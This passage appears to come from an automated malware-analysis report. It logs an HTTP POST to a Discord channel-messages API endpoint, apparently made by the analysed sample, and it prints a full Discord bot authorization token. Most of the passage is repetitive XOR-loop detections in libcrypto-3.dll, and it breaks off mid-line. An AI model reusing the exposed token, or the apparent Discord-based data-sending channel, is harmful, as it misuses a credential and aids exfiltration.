MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 24Content-Type: application/x-www-form-urlencoded" Contains base64 string in header "gzip" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 24Content-Type: application/x-www-form-urlencoded" Contains base64 string in header "keep" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 24Content-Type: application/x-www-form-urlencoded" Contains base64 string in header "Type" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 24Content-Type: application/x-www-form-urlencoded" Contains base64 string in header "form" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 24Content-Type: application/x-www-form-urlencoded"3e:Tef3b,Found XOR loop in file "libcrypto-3.dll" at offset 1667802; code bytes = 30d0 Found XOR loop in file "libcrypto-3.dll" at offset 1867708; code bytes = 30d0 Found XOR loop in file "libcrypto-3.dll" at offset 3143771; code bytes = 30d0 Found XOR loop in file "libcrypto-3.dll" at offset 3162026; code bytes = 30d0 Found XOR loop in file "libcrypto-3.dll" at offset 3170646; code bytes = 30d0 Found XOR loop in file "libcrypto-3.dll" at offset 3172699; code bytes = 30d0 Found XOR loop in file "libcrypto-3.dll" at offset 4113653; code bytes = 30d0 Found XOR loop in file "libcrypto-3.dll" at offset 4183972; code bytes = 30d0 Found XOR loop in file "libcrypto-3.dll" at offset 4322660; code bytes = 30d0 Found XOR loop in file "libcrypto-3.dll" at offset 5125272; code bytes = 30d0 Found XOR loop in file "libcrypto-3.dll" at offset 85457; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 86966; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 201262; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 201317; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 201372; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 201427; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 201482; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 201537; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 201592; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 201641; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 225436; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 225640; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 225844; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 226348; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 226552; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 226756; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 227236; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 227456; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 228180; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 233240; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 236771; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 238779; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 241849; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 310432; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 364681; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 364904; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 365131; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 366100; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 366263; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 366419; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 366575; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 367503; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 367680; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 367858; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 368735; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 369001; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 369267; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 369442; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 495474; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 496164; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 497385; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 497571; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 497780; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 498620; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 498661; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 499193; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 499246; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 499285; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 499668; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 499710; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 556721; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 557211; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 820595; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 885534; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 886198; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 886232; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 886557; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 886612; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 887860; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 888113; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 888790; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 888828; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 888931; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1049097; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1142434; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1150221; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1150232; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1150291; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1150407; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1150465; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1152335; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1156956; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1157023; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1164237; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1164248; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1164310; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1164426; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1164484; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1171192; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1171224; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1171264; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1174976; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1176374; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1176422; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1176462; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1176510; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1176550; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1176595; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1176641; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1176647; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1177422; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1177471; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1177482; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1177495; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1177524; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1181499; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1181730; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1214370; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1254453; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1256142; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1256197; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1256206; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1257086; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1257149; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1283606; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1330494; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1330523; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1330556; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1330589; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1445133; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1445235; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1670831; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1670863; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1672017; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1678719; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1678751; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1679967; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1989083; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1989319; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1989555; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1989791; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1990027; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1990263; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1990517; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1998335; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1998346; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1999475; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1999486; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2046851; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2158961; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2159065; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2159178; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2159293; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2163775; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2169167; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2169236; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2169306; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2169376; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2169448; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2169518; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2169596; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2169657; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2170031; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2170100; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2170170; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2170240; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2170312; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2170382; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2170456; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2170517; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2173481; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2173546; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2173611; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2173676; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2173741; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2174900; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2174971; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2175042; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2175113; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2177136; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2177423; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2182441; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2183584; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2184943; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2184975; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2186320; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2186431; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2186985; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2187088; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2187231; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2188785; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2188992; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2189307; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2189455; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2191344; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2192330; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2192423; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2192495; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2192527; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2192559; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2192772; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2195127; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2199929; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2200507; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2200684; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2201424; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2203849; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2207103; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2222950; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2253134; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2265871; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2426228; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2472796; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2472889; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2473126; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2473220; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2473321; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2473495; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2473571; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2473765; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2473816; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2473935; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2473992; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2474133; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2474191; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2474368; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2474542; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2474736; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2474867; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2474873; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2475060; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2475241; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2475247; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2475420; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2475426; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2475580; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2475772; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2476190; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2476362; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2476550; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2476770; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2476776; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2476960; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2476966; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2477143; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2477149; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2477377; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2477567; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2477748; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2477921; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2477930; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2478150; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2478391; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2478501; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2478538; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2478639; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2478670; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2528591; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2528655; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2543663; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2543759; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2575686; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2578080; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2578287; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2578493; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2580230; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2582623; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2582830; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2583036; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2599060; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2599156; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2599316; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2599358; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2640182; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2640391; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2640465; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2640650; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2640676; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2640902; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2640928; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2641218; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2641481; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2641739; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2641986; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2642253; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2642533; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2642783; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2643060; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2643320; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2643586; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2643858; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2644131; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2644398; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2644632; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2644658; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2644891; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2644916; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2645156; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2645182; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2645416; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2645499; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2645688; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2645714; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2645953; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2645979; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2646213; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2646239; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2646483; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2646749; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2647019; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2647366; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2648928; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2649179; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2649204; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2649439; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2649463; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2649690; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2649715; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2649944; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2649968; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2650192; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2650217; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2650459; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2650487; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2650711; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2650745; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2651042; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2651155; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2651234; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2651353; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2651446; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2651545; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2651640; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2651722; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2651845; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2651942; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2652075; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2652170; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658579; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658586; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658595; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658729; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658732; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2659625; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2659700; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2659776; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2660071; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2660149; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2660371; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2660446; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2660522; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2660817; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2660895; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2663608; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2663683; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2663759; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664054; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664132; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664354; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664429; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664505; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664800; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664878; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2667840; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2890233; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2890322; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2891480; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2964859; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101263; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101673; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101763; code bytes = 33c1 Found XOR loop in 